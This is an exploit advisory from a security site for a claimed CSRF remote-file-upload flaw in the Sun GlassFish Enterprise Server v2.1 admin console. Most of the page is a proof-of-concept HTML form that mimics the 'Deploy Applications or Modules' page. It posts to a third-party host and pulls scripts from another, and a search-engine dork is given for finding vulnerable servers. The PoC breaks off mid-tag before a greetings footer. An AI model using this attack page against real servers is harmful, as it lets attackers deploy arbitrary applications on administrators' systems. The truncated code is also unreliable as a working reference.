Sun GlassFish Enterprise Server v2.1 CSRF RFU Vulnerability

2018.05.02
dz indoushka (DZ) dz
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

==================================================================================================================================== | # Title : Sun GlassFish Enterprise Server v2.1 CSRF RFU Vulnerability | | # Author : indoushka | | # Telegram : @indoushka | | # Tested on : windows 10 Français V.(Pro) | | # Vendor : http://www.oracle.com/technetwork/middleware/glassfish/overview/index.html | | # Dork : "Directory Listing Sun GlassFish Enterprise Server v2.1" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+] save in poc.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/GUIRoleTaxonomy#" xmlns:waistate="http://www.w3.org/2005/07/aaa"> <head> <meta content="no-cache" http-equiv="Pragma" /> <meta content="no-cache" http-equiv="Cache-Control" /> <meta content="no-store" http-equiv="Cache-Control" /> <meta content="max-age=0" http-equiv="Cache-Control" /> <meta content="1" http-equiv="Expires" /> <title>Deploy Applications or Modules</title> <link rel="stylesheet" type="text/css" href="http://ear30.de/theme/com/sun/webui/jsf/suntheme/css/css_master.css" /> <script type="text/javascript"> djConfig={ "isDebug": false, "parseWidgets": false, "debugAtAllCosts": false }; </script> <script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/dojo/dojo.js"></script> <script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/json/json.js"></script> <script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/prototype/prototype.js"></script> <script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/com_sun_faces_ajax.js"></script> <script type="text/javascript"> dojo.hostenv.setModulePrefix("webui.suntheme", "http://ear30.de/theme/com/sun/webui/jsf/suntheme/javascript"); dojo.require('webui.suntheme.*'); </script> <script type="text/javascript" src="http://titel-berlin.de/javax.faces.resource/jsf.js.jsf?ln=javax.faces"></script><script id="sun_script187" type="text/javascript" src="/resource/common/js/adminjsf.js"></script> </head> <body id="sun_body188" onload="" onunload=""> <div id="content" style="padding-left: 5px; padding-right: 5px;"><form id="form" class="form" method="post" action="http://ear30.de/common/applications/uploadFrame.jsf" enctype="application/x-www-form-urlencoded"> <div id="form:title"><table border="0" width="100%" cellpadding="0" cellspacing="0"><tr valign="bottom"><td nowrap="nowrap" valign="bottom"><div class="TtlTxtDiv_sun4"><h1 class="TtlTxt_sun4">Deploy Applications or Modules</h1></div></td><td align="right" nowrap="nowrap" valign="bottom"><div class="TtlBtnDiv_sun4"><span id="form:title:topButtons"><input id="form:title:topButtons:uploadButton" name="form:title:topButtons:uploadButton" class="Btn1_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" onclick="javascript: if(getTextElement('form:sheet1:section1:prop1:action').value=='client') { result = (admingui.deploy.checkFileInputRequired('form:sheet1:section1:prop1:fileupload', '')); } else { result = (checkRequired('form:sheet1:section1:prop1:dirPath', '')); } if (result == true) { if (guiValidate('','','')){ disableAllButtons(); return submitAndDisable(this, 'Processing...', '_self'); } } return false;" type="submit" value=" OK " /><script type="text/javascript"> webui.suntheme.button.init({ "id": "form:title:topButtons:uploadButton", "icon": false, "secondary": false, "disabled": false, "mini": false });</script> <input id="form:title:topButtons:cancelButton" name="form:title:topButtons:cancelButton" class="Btn2_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" onclick="top.admingui.ajax.loadPage({url:'/common/applications/applications.jsf?name='}); return false;" type="submit" value="Cancel" /><script type="text/javascript"> webui.suntheme.button.init({ "id": "form:title:topButtons:cancelButton", "icon": false, "secondary": true, "disabled": false, "mini": false });</script> </span></div></td></tr></table><table border="0" width="100%" cellpadding="0" cellspacing="0"><tr><td><div class="TtlHlpDiv_sun4"><div class="inlinePageHelp_sun4">Specify the location of the application or module to deploy. An application can be in a packaged file or specified as a directory.</div></div></td></tr></table></div><div id="form:sheet1" class="PrpSht_sun4"><div id="sheet1_legend" align="right" class="ConRqdDiv_sun4 LblRqdDiv_sun4"><img id="sheet1_legend:sheet1_legend_legendImage" src="/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Asterisk" height="14" width="7" border="0" />&nbsp;Indicates required field</div><a id="_section1" name="_section1"></a><div id="form:sheet1:section1" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:sheet1:section1:prop1"><td valign="top" align="left"><div class="ConTblCl1Div_sun4"><label id="form:sheet1:section1:prop1:prop1_label" for="form:sheet1:section1:prop1:uploadRdBtn" class="LblLev2Txt_sun4"> Location: </label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:sheet1:section1:prop1:uploadRdBtn_span" class="RbSpn_sun4"><input type="radio" id="form:sheet1:section1:prop1:uploadRdBtn" name="uploadRdBtn" checked="checked" value="client" onclick="admingui.deploy.uploadRdBtnAction('form:sheet1:section1:prop1:dirPath','form:sheet1:section1:prop1:dirSelectBtn','form:sheet1:section1:prop1:filSelectBtn','form:sheet1:section1:prop1:fileupload','form:sheet1:section1:prop1:action');" /><label id="form:sheet1:section1:prop1:uploadRdBtn:uploadRdBtn_label" for="form:sheet1:section1:prop1:uploadRdBtn" class="RbLbl_sun4 LblLev3Txt_sun4"> Packaged File to Be Uploaded to the Server </label></span><br /><input type="file" size="50" id="form:sheet1:section1:prop1:fileupload" name="form:sheet1:section1:prop1:fileupload" onchange="javascript:admingui.deploy.setFieldValue('form:other:psection:nameProp:appName', this.value, 'form:sheet1:sun_propertySheetSection178:type', 'form:sheet1:sun_propertySheetSection178:type:appType', 'form:war:psection:cxp:ctx', 'form:sheet1:section1:prop1:extension', window, ',war,ear,appClient,rar,ejb,jruby,other');" class="TxtFld_sun4" style="margin-left: 17pt" /><script type="text/javascript"> webui.suntheme.upload.setEncodingType('form:sheet1:section1:prop1:fileupload'); </script> <input id="form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" name="form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" value="form:sheet1:section1:prop1:fileupload" type="hidden" /><br /><br/><br/><span id="form:sheet1:section1:prop1:fileChooseRdBtn_span" class="RbSpn_sun4"><input type="radio" id="form:sheet1:section1:prop1:fileChooseRdBtn" name="uploadRdBtn" value="serverSide" onclick="admingui.deploy.fileChooseAction('form:sheet1:section1:prop1:dirPath','form:sheet1:section1:prop1:dirSelectBtn','form:sheet1:section1:prop1:filSelectBtn','form:sheet1:section1:prop1:fileupload','form:sheet1:section1:prop1:action')" /><label id="form:sheet1:section1:prop1:fileChooseRdBtn:fileChooseRdBtn_label" for="form:sheet1:section1:prop1:fileChooseRdBtn" class="RbLbl_sun4 LblLev3Txt_sun4"> Local Packaged File or Directory That Is Accessible from the Enterprise Server </label></span><br /><input type="text" size="50" id="form:sheet1:section1:prop1:dirPath" name="form:sheet1:section1:prop1:dirPath" onchange="javascript:admingui.deploy.setFieldValue('form:other:psection:nameProp:appName', this.value, 'form:sheet1:sun_propertySheetSection178:type', 'form:sheet1:sun_propertySheetSection178:type:appType', 'form:war:psection:cxp:ctx', 'form:sheet1:section1:prop1:extension', window, ',war,ear,appClient,rar,ejb,jruby,other'); " class="TxtFld_sun4" style="margin-left: 17pt" value="" /><input id="form:sheet1:section1:prop1:filSelectBtn" name="form:sheet1:section1:prop1:filSelectBtn" class="Btn2Dis_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" disabled="disabled" onclick="javascript: var win = window.open('/common/applications/fileChooser.jsf?dirPathId=form:sheet1:section1:prop1:dirPath&amp;appNameId=form:other:psection:nameProp:appName&amp;ctxRootId=form:war:psection:cxp:ctx&amp;typeId=form:sheet1:sun_propertySheetSection178:type:appType&amp;extensionId=form:sheet1:section1:prop1:extension&amp;dropDownProp=form:sheet1:sun_propertySheetSection178:type', 'fileChooserPopup', 'height=580, width=650, top='+((screen.height - (screen.height/1.618))-(500/2))+',left='+((screen.width-650)/2)+', scrollbars, resizable');win.focus(); return false" type="submit" value="Browse Files..." /><script type="text/javascript"> webui.suntheme.button.init({ "id": "form:sheet1:section1:prop1:filSelectBtn", "icon": false, "secondary": true, "disabled": true, "mini": false });</script> &nbsp;<input id="form:sheet1:section1:prop1:dirSelectBtn" name="form:sheet1:section1:prop1:dirSelectBtn" class="Btn2Dis_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" disabled="disabled" onclick="javascript: var win = window.open('/common/applications/fileChooser.jsf?folderOnly=true&amp;dirPathId=form:sheet1:section1:prop1:dirPath&amp;appNameId=form:other:psection:nameProp:appName&amp;ctxRootId=form:war:psection:cxp:ctx&amp;typeId=form:sheet1:sun_propertySheetSection178:type:appType&amp;extensionId=form:sheet1:section1:prop1:extension&amp;dropDownProp=form:sheet1:sun_propertySheetSection178:type', 'fileChooserPopup', 'height=580, width=650, top='+((screen.height - (screen.height/1.618))-(500/2))+',left='+((screen.width-650)/2)+', scrollbars, resizable');win.focus(); return false" type="submit" value="Browse Folders..." /><script type="text/javascript"> webui.suntheme.button.init({ "id": "form:sheet1:section1:prop1:dirSelectBtn", "icon": false, "secondary": true, "disabled": true, "mini": false });</script> <input type="text" size="20" id="form:sheet1:section1:prop1:extension" name="form:sheet1:section1:prop1:extension" class="hidden_sun4 TxtFld_sun4" value="" /><input type="text" size="20" id="form:sheet1:section1:prop1:action" name="form:sheet1:section1:prop1:action" class="hidden_sun4 TxtFld_sun4" value="client" /></div></td></tr></table></div></div><a id="_sun_propertySheetSection178" name="_sun_propertySheetSection178"></a><div class="ConLin_sun4"><img id="form:sheet1:sun_propertySheetSection178:sun_propertySheetSection178_dot1" src="/theme/com/sun/webui/jsf/suntheme/images/other/dot.gif" alt="" height="1" width="1" border="0" /></div><div id="form:sheet1:sun_propertySheetSection178" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:sheet1:sun_propertySheetSection178:type"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:sheet1:sun_propertySheetSection178:type:type_label" for="form:sheet1:sun_propertySheetSection178:type:appType" class="LblLev2Txt_sun4"> Type: <img id="form:sheet1:sun_propertySheetSection178:type:type_label:type_label_required" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Required" height="14" width="7" border="0" /></label></div></td><td><div class="ConTblCl2Div_sun4"><select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection178:type:appType" name="form:sheet1:sun_propertySheetSection178:type:appType" size="1" onchange="javascript:admingui.deploy.showPropertySheet(this.value, window, 'form:other:psection:nameProp:appName', 'form:war:psection:cxp:ctx', ',war,ear,appClient,rar,ejb,jruby,other' );webui.suntheme.dropDown.changed('form:sheet1:sun_propertySheetSection178:type:appType'); return false;"> <option class="MnuStdOptSel_sun4" value="" selected="selected"></option> <option class="MnuStdOpt_sun4" value="war">Web Application</option> <option class="MnuStdOpt_sun4" value="ear">Enterprise Application</option> <option class="MnuStdOpt_sun4" value="appClient">Application Client</option> <option class="MnuStdOpt_sun4" value="rar">Connector Module</option> <option class="MnuStdOpt_sun4" value="ejb">EJB Jar</option> <option class="MnuStdOpt_sun4" value="jruby">Ruby Application</option> <option class="MnuStdOpt_sun4" value="other">Other</option> </select> </div></td></tr></table></div></div></div><div id="form:appClient" class="hidden_sun4 PrpSht_sun4"><img id="j_id2" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/dot.gif" alt="" height="20" width="1" border="0" /><a id="_psection" name="_psection"></a><div id="form:appClient:psection" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:appClient:psection:nameProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:nameProp:nameProp_label" for="form:appClient:psection:nameProp:appName" class="LblLev2Txt_sun4"> Application Name: <img id="form:appClient:psection:nameProp:nameProp_label:nameProp_label_required" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Required" height="14" width="7" border="0" /></label></div></td><td><div class="ConTblCl2Div_sun4"><input type="text" size="40" id="form:appClient:psection:nameProp:appName" name="form:appClient:psection:nameProp:appName" onchange="javascript: setAppName('form:other:psection:nameProp:appName', this.value, window)" class="required TxtFld_sun4" value="" /></div></td></tr><tr id="form:appClient:psection:v2"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:v2:v2_label" for="form:appClient:psection:v2:ver2" class="LblLev2Txt_sun4"> Run Verifier: </label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:appClient:psection:v2:ver2_span" class="CbSpn_sun4"><input type="checkbox" id="form:appClient:psection:v2:ver2" name="form:appClient:psection:v2:ver2" value="true" /><label id="form:appClient:psection:v2:ver2:ver2_label" for="form:appClient:psection:v2:ver2" class="CbLbl_sun4 LblLev3Txt_sun4"> Enabled </label></span><div id="form:appClient:psection:v2:v2_helpText" class="inlineFieldHelp_sun4">&nbsp;&nbsp;</div></div></td></tr><tr id="form:appClient:psection:force"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:force:force_label" for="form:appClient:psection:force:force" class="LblLev2Txt_sun4"> Force Redeploy: </label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:appClient:psection:force:force_span" class="CbSpn_sun4"><input type="checkbox" id="form:appClient:psection:force:force" name="form:appClient:psection:force:force" value="true" /></span><div id="form:appClient:psection:force:force_helpText" class="inlineFieldHelp_sun4">Force redeployment if this application is already deployed.&nbsp;&nbsp;</div></div></td></tr><tr id="form:appClient:psection:jw"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:jw:jw_label" for="form:appClient:psection:jw:jwt" class="LblLev2Txt_sun4"> Java Web Start: </label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:appClient:psection:jw:jwt_span" class="CbSpn_sun4"><input type="checkbox" id="form:appClient:psection:jw:jwt" name="form:appClient:psection:jw:jwt" value="true" /><label id="form:appClient:psection:jw:jwt:jwt_label" for="form:appClient:psection:jw:jwt" class="CbLbl_sun4 LblLev3Txt_sun4"> Enabled </label></span><div id="form:appClient:psection:jw:jw_helpText" class="inlineFieldHelp_sun4">&nbsp;&nbsp;</div></div></td></tr><tr id="form:appClient:psection:descriptionProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:descriptionProp:descriptionProp_label" for="form:appClient:psection:descriptionProp:description" class="LblLev2Txt_sun4"> Description: </label></div></td><td><div class="ConTblCl2Div_sun4"><input type="text" size="40" id="form:appClient:psection:descriptionProp:description" name="form:appClient:psection:descriptionProp:description" class="TxtFld_sun4" value="" /><div id="form:appClient:psection:descriptionProp:descriptionProp_helpText" class="inlineFieldHelp_sun4">&nbsp;&nbsp;</div></div></td></tr></table></div></div></div><div id="form:ear" class="hidden_sun4 PrpSht_sun4"><img id="j_id3" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/dot.gif" alt="" height="20" width="1" border="0" /><a id="_psection" name="_psection"></a><div id="form:ear:psection" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:ear:psection:nameProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:nameProp:nameProp_label" for="form:ear:psection:nameProp:appName" class="LblLev2Txt_sun4"> Application Name: <img id="form:ear:psection:nameProp:nameProp_label:nameProp_label_required" src="/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Required" height="14" width="7" border="0" /></label></div></td><td><div class="ConTblCl2Div_sun4"><input type="text" size="40" id="form:ear:psection:nameProp:appName" name="form:ear:psection:nameProp:appName" onchange="javascript: setAppName('form:other:psection:nameProp:appName', this.value, window)" class="required TxtFld_sun4" value="" /></div></td></tr><tr id="form:ear:psection:vsProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:vsProp:vsProp_label" for="form:ear:psection:vsProp:vs" class="LblLev2Txt_sun4"> Virtual Servers: </label></div></td><td><div class="ConTblCl2Div_sun4"><select class="Lst_sun4" id="form:ear:psection:vsProp:vs" name="form:ear:psection:vsProp:vs" size="4" multiple="multiple" onchange="webui.suntheme.listbox.changed('form:ear:psection:vsProp:vs'); return false;"> <option class="LstOptSel_sun4" value="" selected="selected"></option> <option class="LstOpt_sun4" value="server">server</option> </select> <div id="form:ear:psection:vsProp:vsProp_helpText" class="inlineFieldHelp_sun4">Associates an Internet domain name with a physical server&nbsp;&nbsp;</div></div></td></tr><tr id="form:ear:psection:enableProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:enableProp:enableProp_label" for="form:ear:psection:enableProp:sun_checkbox192" class="LblLev2Txt_sun4"> Status: </label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:ear:psection:enableProp:sun_checkbox192_span" class="CbSpn_sun4"><input type="checkbox" id="form:ear:psection:enableProp:sun_checkbox192" name="form:ear:psection:enableProp:sun_checkbox192" checked="checked" value="true" /><label id="form:ear:psection:enableProp:sun_checkbox192:sun_checkbox192_label" for="form:ear:psection:enableProp:sun_checkbox192" class="CbLbl_sun4 LblLev3Txt_sun4"> Enabled </label></span><div id="form:ear:psection:enableProp:enableProp_helpText" class="inlineFieldHelp_sun4">&nbsp;&nbsp;</div></div></td></tr><tr id="form:ear:psection:precmplProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:precmplProp:precmplProp_label" for="form:ear:psection:precmplProp:precompileJSP" class="LblLev2Txt_sun4"> Precompile JSPs: </label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:ear:psection:precmplProp:precompileJSP_span" class="CbSpn_sun4"><input type="checkbox" id="form:ear:psection:precmplProp:precompileJSP" name="form:ear:psection:precmplProp:precompileJSP" value="true" /><label id="form:ear:psection:precmplProp:precompileJSP:precompileJSP_label" for="form:ear:psection:precmplProp:precompileJSP" class="CbLbl_sun4 LblLev3Txt_sun4"> Enabled </label></span><div id="form:ear:psection:precmplProp:precmplProp_helpText" class="inlineFieldHelp_sun4">Precompile JSPs, deploy only resulting class files&nbsp;&nbsp;</div></div></td></tr><tr id="form:ear:psection:v2"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:v2:v2_label" for="form:ear:psection:v2:ver2" class="LblLev2Txt_sun4"> Run Verifier: </label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:ear:psection:v2:ver2_span" class="CbSpn_sun4"><input type="checkbox" id="form:ear:psection:v2:ver2" name="form:ear:psection:v2:ver2" value="true" /><label id="form:ear:psection:v2:ver2:ver2_label" for="form:ear:psection:v2:ver2" class="CbLbl_sun4 LblLev3Txt_sun4"> Enabled </label></span><div id="form:ear:psection:v2:v2_helpText" class="inlineFieldHelp_sun4">&nbsp;&nbsp;</div></div></td></tr><tr id="form:ear:psection:force"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:pse Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh | | =======================================================================================================================================


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top